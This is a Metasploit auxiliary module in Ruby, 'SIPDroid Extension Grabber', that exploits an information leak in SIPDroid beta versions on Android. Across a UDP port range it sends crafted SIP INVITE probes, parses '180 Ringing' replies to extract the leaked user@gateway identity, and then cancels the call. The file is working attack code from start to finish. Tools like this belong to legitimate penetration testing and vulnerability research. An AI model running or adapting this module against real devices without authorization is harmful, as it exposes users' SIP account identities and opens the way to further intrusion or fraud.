##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SIPDroid Extension Grabber',
        'Description' => %q{
          This module exploits a leak of extension/SIP Gateway
          on SIPDroid 1.6.1 beta, 2.0.1 beta, 2.2 beta (tested in Android 2.1 and 2.2 - official Motorola release)
          (other versions may be affected).
        },
        'Author' => 'Anibal Aguiar <anibal.aguiar[at]gmail.com>',
        'References' => [
          ['BID', '47710'],
          ['URL', 'https://seclists.org/fulldisclosure/2011/May/83'],
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('STRTPORT', [true, 'The start probe port', 59150]),
        OptInt.new('FNLPORT', [true, 'The final probe port', 59159]),
        OptInt.new('RPORT', [false, 'Remote port to probe', nil]),
      ]
    )
  end

  def create_probe(ip, meth, branch, tag, callid)
    suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
    shost = Rex::Socket.source_address(ip)
    src = "#{shost}:5060"

    if branch.nil?
      branch = "z9hG4bK#{"%.8x" % rand(0x100000000)}"
    end

    if tag.nil?
      tag = "as#{rand(0x100000)}"
    end

    if callid.nil?
      callid = rand(0x100000000)
    end

    @branch = branch
    @tag = tag
    @callid = callid

    data = "#{meth} sip:#{ip} SIP/2.0\r\n"
    data << "Via: SIP/2.0/UDP #{src};branch=#{branch};rport\r\n"
    data << "Content-Length: 0\r\n"
    data << "From: \"SIPDROID\";tag=#{tag}\r\n"
    data << "Accept: application/sdp\r\n"
    data << "User-Agent: SIPDROID\r\n"
    data << "To: sip:#{ip}\r\n"
    data << "Contact: \r\n"
    data << "CSeq: 1 #{meth}\r\n"
    data << "Call-ID: #{callid}@#{shost}\r\n"
    data << "Max-Forwards: 70\r\n"

    return data
  end

  def run()
    strtport = datastore['STRTPORT']
    fnlport = datastore['FNLPORT']

    print_status("Trying target #{datastore['RHOST']}...")
    while strtport <= fnlport
      rcv = 'nothing'
      begin
        datastore['RPORT'] = strtport

        connect_udp
        data = create_probe(datastore['RHOST'], 'INVITE', nil, nil, nil)
        udp_sock.put(data)

        while not rcv.nil?
          msg = udp_sock.timed_recvfrom(1024, 4)
          msg = msg ? [msg[0], msg[1][3], msg[1][1]] : ['', nil, nil]
          if not msg[0].eql?("")
            if msg[0].include?("SIP/2.0 180 Ringing")
              origin = /o=\w+\@[\w+\.]+/.match(msg[0])

              if not origin.nil?
                print_good(/\w+\@[\w+\.]+/.match(origin.to_s).to_s)
              else
                print_status("Ringing message received but no user/gateway sent...")
              end

              data = create_probe(datastore['RHOST'], 'CANCEL', @branch, @tag, @callid)
              udp_sock.put(data)
              strtport = fnlport + 1
              rcv = nil
            end
          else
            break
          end
        end
      rescue ::Exception => e
        disconnect_udp
        if strtport == fnlport
          print_status("Tested all ports got no response, try a bigger port range.")
        end
      ensure
        if strtport == fnlport and not rcv.nil?
          print_status("Tested all ports got no response, try a bigger port range.")
        end
        disconnect_udp
        strtport += 1
      end
    end
  end
end
